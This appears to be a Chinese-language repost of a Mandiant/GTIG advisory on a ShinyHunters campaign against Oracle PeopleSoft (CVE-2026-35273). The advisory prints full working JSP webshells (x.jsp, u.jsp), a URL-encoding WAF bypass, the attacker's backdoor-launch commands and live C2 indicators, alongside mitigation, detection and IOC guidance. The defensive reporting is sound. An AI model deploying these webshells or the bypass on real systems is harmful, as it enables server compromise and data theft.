ShinyHunters Renewed Mass Exploitation Campaign Targeting Oracle PeopleSoft

TL;DR · AI 摘要
Title: ShinyHunters Renewed Mass Exploitation Campaign Targeting Oracle PeopleSoft URL Source: Published Time: 2026-09-2...
核心要点
- 主题聚焦:ShinyHunters Renewed Mass Exploitation Campaign
- 来源:Google Cloud Blog,建议结合原文判断细节。
- AI 分析暂不可用,本条为保底评分与摘要。
介绍
作为对 2026 年 6 月文章 ShinyHunters 利用 Oracle PeopleSoft 漏洞针对教育领域 的更新,Mandiant 与 Google 威胁情报团队(GTIG)发现 UNC6240(ShinyHunters)组织正在重新利用 CVE-2026-35273 漏洞,并将攻击范围扩展到多个行业。2026 年 6 月,该攻击者主要针对学术机构,将此漏洞作为零日漏洞利用。此次新一轮攻击活动源于 UNC6240 对其攻击代码进行了修改,以绕过 Web 应用防火墙(WAF)规则,这些规则原本用于阻止对易受攻击的环境管理枢纽(PSEMHUB)端点的访问。
攻击者通过在请求路径中对单个字符进行 URL 编码,将请求路径从 /PSEMHUB/ 改为 /%50SEMHUB/,从而绕过了基于字符串的 WAF 规则。许多 WAF 和反向代理规则在 URL 解码前匹配原始路径,而 PeopleSoft 应用服务器会解码请求并将其路由到易受攻击的 Servlet。这使得攻击者能够访问那些操作人员可能误以为 WAF 规则已缓解暴露风险的系统端点。
我们的分析表明,此次攻击活动中,攻击者扩大了目标范围,已在全球数十个系统上部署了网络后门,这些系统覆盖高等教育、科技、IT 服务、医疗保健、农业、交通运输和政府等多个领域。
Mandiant 建议运行 Oracle PeopleSoft 的组织立即采取以下措施。本文后续部分还包含更多缓解和加固建议。
缓解与加固快速指南
- 为 CVE-2026-35273 漏洞应用 Oracle 安全警报补丁。WAF 规则和基于路径的阻断不能替代补丁。
- 在多服务器配置中禁用环境管理枢纽(EMHub)服务,或根据 Oracle 的安全警报指南建议,在单服务器配置中完全移除 PSEMHUB 应用程序。
- 在 PIA WebLogic 访问日志中搜索对
/PSEMHUB/的请求及任何百分号编码变体(例如/%50SEMHUB/),特别关注指向/hub的 POST 请求以及来自外部源 IP 地址对.jsp文件的请求。 - 检查
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/目录中是否存在不属于原生产品的文件,包括但不限于x.jsp、u.jsp、tunnel.jsp、tunnel.jspx和Ple64.exe。 - 更改 PeopleSoft 应用服务账户可读的凭证,包括
psappsrv.cfg中的数据库连接字符串、集成代理凭证以及可通过 Web 层访问的任何云凭证。 - 监控 PeopleSoft 主机到本文列出的网络指标的出站流量,并检查端点是否存在异常的 MeshCentral 代理。
图 1:缓解与加固快速指南
背景:从零日漏洞到多日漏洞
2026年6月,我们报告了UNC6240活动组利用CVE-2026-35273漏洞发起的零日攻击,该攻击在2026年5月27日至6月9日期间主要针对高等教育机构。Oracle于2026年6月10日发布了紧急安全公告。Mandiant在6月的指南中建议进行补丁修复,对于无法立即修复或禁用EMHub的组织,建议在边界处阻止对/PSEMHUB/*的外部访问,指出仅依赖WAF正文检测规则是不够的。
当前的攻击活动表明,UNC6240已适应已发布的防御指南,针对那些已实施WAF规则但未修复漏洞的组织。
攻击生命周期
我们在针对PeopleSoft环境的攻击中观察到一致的事件序列,从发现和验证到Webshell部署及人工操作阶段。
#### 目标验证
攻击前,目标服务器通常会收到5至15个发送到/%50SEMHUB/hub的POST请求,包含序列化Java对象。未打补丁的服务器会返回主机操作系统信息,而不会写入文件或中断服务,使攻击者能够悄无声息地确认漏洞可利用性。对于攻击者已验证但尚未利用的主机,组织可能在日志中看到此请求,但后续没有其他活动。
#### WAF绕过
所有请求均通过URL编码路径访问易受攻击的servlet。%50是字符P的编码形式。匹配解码前字面字符串/PSEMHUB的WAF和代理规则不会匹配/%50SEMHUB/,而WebLogic会解码路径并正常提供服务。
防御者应假设攻击者可能使用/PSEMHUB/的任何百分比编码、大小写混合或其他非规范化变体,并应在规范化路径上强制实施阻止规则。

图2: PSEMHUB WAF绕过
#### 漏洞利用
我们观察到两种利用方法,均利用PSEMHUB hub servlet中的Java反序列化漏洞:
- Webshell部署:为了访问某些负载均衡环境后的Webshell,攻击者向
/%50SEMHUB/hub发送多个POST请求,随后在PSEMHUB.war目录中创建新JSP文件(如x.jsp)或按顺序编号的JSP文件。重复操作可能确保负载均衡器后的每个节点都收到Webshell副本,因此组织应检查所有WebLogic节点,而不仅限于第一个发现的节点。
- 无文件命令执行:发送到
/%50SEMHUB/hub的POST请求直接在HTTP响应中返回命令输出,不会在磁盘上写入文件。在主机上,这表现为由WebLogic Java进程启动的shell进程(cmd.exe或/bin/sh)。依赖JSP文件创建的检测方法无法识别此方法。
攻击后工具
#### 双Webshell
为了建立持久访问并部署后续载荷,攻击者在PSEMHUB.war目录中部署了两个互补的单行JSP Webshell。这两个shell均设计用于在攻击后阶段最大限度减少Web应用防火墙(WAF)检测。
主Shell x.jsp 提供跨平台命令执行功能。与通过URL查询字符串传递明文命令不同,x.jsp 通过HTTP POST (c) 接收十六进制编码的命令,并可选指定执行超时时间 (t)。它能自动检测底层操作系统:在Windows上启动 cmd.exe,在Linux上则从ASCII字符数组重建 /bin/sh,以避免静态字符串特征,最终将进程输出以 R: 前缀返回。
<%@ page import="java.util.*,java.io.*" %><%
String h = request.getParameter("c");
String ts = request.getParameter("t");
if (h != null) {
int t = ts != null ? Integer.parseInt(ts) : 30;
StringBuilder cs = new StringBuilder();
for (int i = 0; i + 1 < h.length(); i += 2) {
cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16));
}
String c = cs.toString();
boolean wn = System.getProperty("os.name").toLowerCase().contains("win");
Process p = new ProcessBuilder(
wn ? new String[]{"cmd.exe", "/c", c}
: new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c}
).start();
InputStream a = p.getInputStream();
InputStream g = p.getErrorStream();
byte[] b = new byte[8192];
int n;
StringBuilder sb = new StringBuilder();
long end = System.currentTimeMillis() + t * 1000L;
while (System.currentTimeMillis() < end) {
if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
else {
try { p.exitValue(); break; }
catch (IllegalThreadStateException e2) {
try { Thread.sleep(40); } catch (Exception e3) {}
}
}
}
while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
out.print("R:" + sb.toString());
}
%>图3:x.jsp 跨平台命令执行Webshell(为提高可读性进行了格式化)
在向被入侵的Windows主机部署较大二进制文件时,威胁行为者部署了第二个servlet u.jsp(以及基于偏移量的变体 u2.jsp)。此Shell解码Base64编码的文件块(a),以150 KB增量将文件写入或追加到目标路径(n),绕过HTTP请求大小限制并避开PeopleSoft原生的 FILECHUNKING 处理器。它还包含一个附加参数(x),用于在文件重组完成后执行 cmd.exe 命令。
<%@ page import="java.util.*,java.io.*,java.nio.file.*" %><%
String n = request.getParameter("n");
String a = request.getParameter("a");
String m = request.getParameter("m");
if (n != null && a != null) {
try {
byte[] b = java.util.Base64.getDecoder().decode(a);
if ("a".equals(m)) {
java.io.FileOutputStream f = new java.io.FileOutputStream(n, true);
f.write(b);
f.close();
} else {
java.nio.file.Files.write(java.nio.file.Paths.get(n), b);
}
out.print("W:" + b.length);
} catch (Exception e) {
out.print("E:" + e);
}
}
String x = request.getParameter("x");
if (x != null) {
try {
ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x});
pb.redirectErrorStream(true);
Process p = pb.start();
java.io.InputStream i = p.getInputStream();
byte[] buf = new byte[8192];
int k;
StringBuilder sb = new StringBuilder();
long end = System.currentTimeMillis() + 12000;
while (System.currentTimeMillis() < end) {
if (i.available() > 0) {
k = i.read(buf);
if (k > 0) sb.append(new String(buf, 0, k));
} else {
try { p.exitValue(); break; }
catch (Exception e2) { Thread.sleep(30); }
}
}
out.print("R:" + sb.toString());
} catch (Exception e) {
out.print("X:" + e);
}
}
%>图4:u.jsp 分块文件上传和执行网络后门(为提高可读性进行了格式化)
#### 被植入的安装程序和多阶段后门(Ple64.exe)
在被入侵的Windows服务器上,威胁行为者使用 u.jsp(以及 u2.jsp)上传并执行了一个名为 Ple64.exe(被标记为SIDEEYE)的5.2 MB二进制文件,该文件位于 PSEMHUB.war 目录中。虽然 Ple64.exe 假冒为 Light Alloy 媒体播放器的签名安装程序,但分析显示它是一个被植入的安装程序,包含一个三阶段执行链,用于在内存中加载 SIDEEYE。分析样本使用了 Sectigo 颁发给 Tobias Weihmann Software Development OU 的有效扩展验证(EV)证书进行签名。GTIG 已联系 Sectigo 以撤销该证书。
当执行时,Ple64.exe(第一阶段)会解压缩并加载一个受 VMProtect 3(VMP3)保护的第二阶段启动器到内存中。该启动器会解密嵌入在 Ple64.exe 中的附加数据块,并在内存中加载并执行第三阶段。第三阶段是 SIDEEYE C++ 后门,它通过原始 TCP 与命令与控制(C2)服务器(162[.]219[.]30[.]165)通信,使用单独的控制端口(TCP/3333)和数据端口(TCP/3334)。
初步分析表明,SIDEEYE 支持:
- 浏览器和桌面应用程序凭证窃取
- 进程和文件管理
- 交互式反向 shell 和反向代理功能
在通过 u.jsp 分块上传二进制文件后,威胁行为者验证了磁盘上重新组装的文件大小,将 Ple64.exe 作为后台进程启动,并确认其仍在运行:
dir applications\peoplesoft\PSEMHUB.war\Ple64.exe
for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF
cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe
tasklist | findstr /i Ple64图5:威胁行为者验证上传和执行被植入的 Ple64.exe(SIDEEYE)后门
#### 使用 Neo-reGeorg 进行隧道传输
在部署 Ple64.exe 的同时,威胁行为者部署了开源的 Neo-reGeorg 隧道工具包,并将其 tunnel.jsp 和 tunnel.jspx servlet 植入受害者的 Web 目录。该工具包通过普通 HTTP 和 HTTPS 连接将 SOCKS5 代理流量路由到 Web 层,从而实现从 PeopleSoft 主机进行内部发现和横向移动。
#### MeshAgent
为了在 Linux 系统上放置 WebShell 后建立持久访问,UNC6240 部署了合法的 RMM 工具 MeshAgent。
在 2026 年 5 月和 7 月的入侵中,攻击者直接将未加密的代理二进制文件和配置文件(meshagent、meshagent.msh 和 meshagent.db)放入 /tmp 目录,使用 PeopleSoft 服务账户进行部署,并将出站连接路由到伪装成 Microsoft 的域名,包括 azurenetfiles.net、microsoft-entra.net 和 enroll.azuredevice.cloud。
在 2026 年 9 月的入侵中,UNC6240 继续使用与 MeshAgent 相关的 IT 主题基础设施(104.219.234.138 上的 winmanage-me.network)进行二次部署和管理。
MeshCentral 是一个合法的开源远程管理平台,威胁行为者(包括 UNC6240)使用它通过 WebSockets 保持对受害系统的交互式访问。
#### 观察到的后利用命令
在受感染的实例中,威胁行为者有四分之一的命令以 root 或 NT Authority\SYSTEM 权限执行,从而获得对操作系统的完全控制。其余命令在 PeopleSoft 或 WebLogic 服务账户下执行,这些账户仍可访问 PeopleSoft 配置文件、数据库连接字符串和应用程序数据。
通过 WebShell 的命令活动可分为以下几类:
- 主机和用户发现,包括
hostname和whoami。
- 进程验证,使用
tasklist轮询进程列表以验证有效载荷执行。
使用编码路径的 WebShell 请求示例如下:
GET /%50SEMHUB/<webshell>.jsp?c=id;hostname;uname+-a HTTP/1.1图 6:WebShell 请求示例
补救与加固
#### 补丁与降低暴露面
应用 Oracle 安全警报中针对 CVE-2026-35273 的补丁,并保持在受支持的 PeopleTools 版本上。如果 EMHub 服务未用于补丁管理,请禁用该服务或移除 PSEMHUB 应用。EMHub 和集成代理监听连接器是管理及系统间组件,限制其公网访问不会影响标准 PeopleSoft 互联网架构(PIA)用户的会话。
#### 日志与端点监控
在 PIA WebLogic 访问日志中搜索对 /PSEMHUB/ 及其编码变体的请求、来自外部源的 /hub 的 POST 请求,以及在 PSEMHUB 或 PORTAL 下对意外 .jsp 或 .jspx 文件的请求。在主机上,对由 WebLogic Java 进程生成的 Shell 进程(cmd.exe、/bin/sh、bash)进行告警,特别是调用 base64 -d、curl、/dev/tcp、tasklist 或 start /b 的进程。
#### 主机级审计
扫描 PSEMHUB.war/ 和 PORTAL.war/ 中是否存在意外的 .jsp、.jspx 和 .exe 文件,检查 .../PSEMHUB.war/envmetadata/transactions/ 中是否存在未经授权的内容,并检测是否存在异常的 MeshCentral 代理。发现 WebShell 的组织应将主机视为已被入侵,保留证据,并轮换所有可从 PeopleSoft 层访问的凭证,优先处理 WebLogic 服务以 root 或 SYSTEM 身份运行的主机。
#### 寻找数据窃取证据
检查 PeopleSoft 和数据库主机中临时目录或可通过网络访问的目录中是否存在大型归档文件(.tar、.tar.gz、.zst),并检查由 PeopleSoft 或 WebLogic 服务账户启动的 tar、zstd、rsync、sshpass 或 curl 进程。检查数据库审计日志中针对 HR、工资和学生记录表的批量查询或导出操作,以及网络日志中从 PeopleSoft 层发出的大规模或持续的传出传输,包括 rsync(TCP 873)、SSH 和 HTTP POST 流量,目标地址为本文中列出的网络指标。
#### 应对勒索准备
UNC6240 有明确的数据窃取勒索模式,即窃取数据后威胁将数据发布到数据泄露网站,除非受害者支付赎金。受影响的组织应准备应对勒索沟通,并监控被盗数据可能被公开的情况。
感染指标(IOCs)
为帮助更广泛的社区识别本文中提到的活动,我们已在 GTI 集合(仅限注册用户) 中包含 IOCs。
#### 网络指标
| 指标 | 类型 | 描述 | | --- | --- | --- | | 5.199.162.157 | IPv4 | 攻击控制器、扫描器和 HTTP 回调接收器 | | 104.219.234.138 | IPv4 | 数据外泄中转和远程管理主机 | | 162.219.30.165 | IPv4 | SIDEEYE 后门的 C2 通信地址 | | winmanage-me.network | 域名 | 解析到中转主机;MeshCentral 基础设施 |
表 1:网络指标
#### 主机指标
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/x.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/u.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/Ple64.exe
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jspx图 7:主机指标
URI 模式:/%50SEMHUB/(经过百分号编码的 WAF 绕过路径;防御者应假设攻击者可能使用任何经过百分号编码、大小写混合或非标准化形式的 /PSEMHUB/ 变体,并强制在标准化路径上进行拦截)。
#### 文件指标
| 文件名 | SHA-256 | 描述 | | --- | --- | --- | | x.jsp | 48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494 | 主要执行网络壳程序;由于额外换行符的存在,哈希值可能不同。 | | u.jsp | 2bee941fb40519d0d1ec52bd79a8f63fc65aac6455c8f2d6b668e3360dfdb5d7 | 执行阶段器 servlet | | tunnel.jsp | 419c571ee38b7e7266d130c4b6bbc4dd0ef44d6e5f3bc02cc2cf73b762f07c86 | Neo-reGeorg JSP 隧道(开源)。哈希值会根据使用的密钥而变化。 | | tunnel.jspx | ba14419beb2ec0bb94cab6298c14d7fb3e1d819366fe378290c0c2a4d97f7e07 | Neo-reGeorg JSPX 隧道(开源)。哈希值会根据使用的密钥而变化。 | | Ple64.exe | 3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3 | 交付 SIDEEYE 后门的特洛伊木马安装程序 |
表 2:文件指标
Google 安全运营
Google 安全运营客户将可以访问以下规则。这些规则将包含在 Mandiant Frontline 威胁规则包中:
- Oracle PeopleSoft 配置检查
- Sshpass 交互式文件部署
- 通过 Zstd 工具进行数据归档或压缩
- 通过 Meshctrl 执行 MeshCentral 命令
Mandiant Frontline Threats 规则包中待部署的规则:
- Oracle PeopleSoft 向 Web 应用归档目录写入可疑文件
MITRE ATT&CK 映射
| 战术 | 技术 | | --- | --- | | 侦察 | T1596.003 搜索公开技术数据库:数字证书 | | 侦察 | T1596.005 搜索公开技术数据库:扫描数据库 | | 侦察 | T1595.002 主动扫描:漏洞扫描 | | 初始访问 | T1190 利用面向公众的应用程序 | | 防御规避 | T1027 文件或信息混淆 | | 执行 | T1059.003 命令和脚本解释器:Windows 命令行 shell | | 执行 | T1059.004 命令和脚本解释器:Unix shell | | 持续性 | T1505.003 服务器软件组件:Web shell | | 发现 | T1082 系统信息发现 | | 发现 | T1016 系统网络配置发现 | | 凭据访问 | T1552.001 未保护的凭据:文件中的凭据 | | 命令与控制 | T1090 代理 | | 命令与控制 | T1219 远程访问软件 | | 数据外泄 | T1048 通过替代协议外泄数据 |
表 3:MITRE ATT&CK
发布于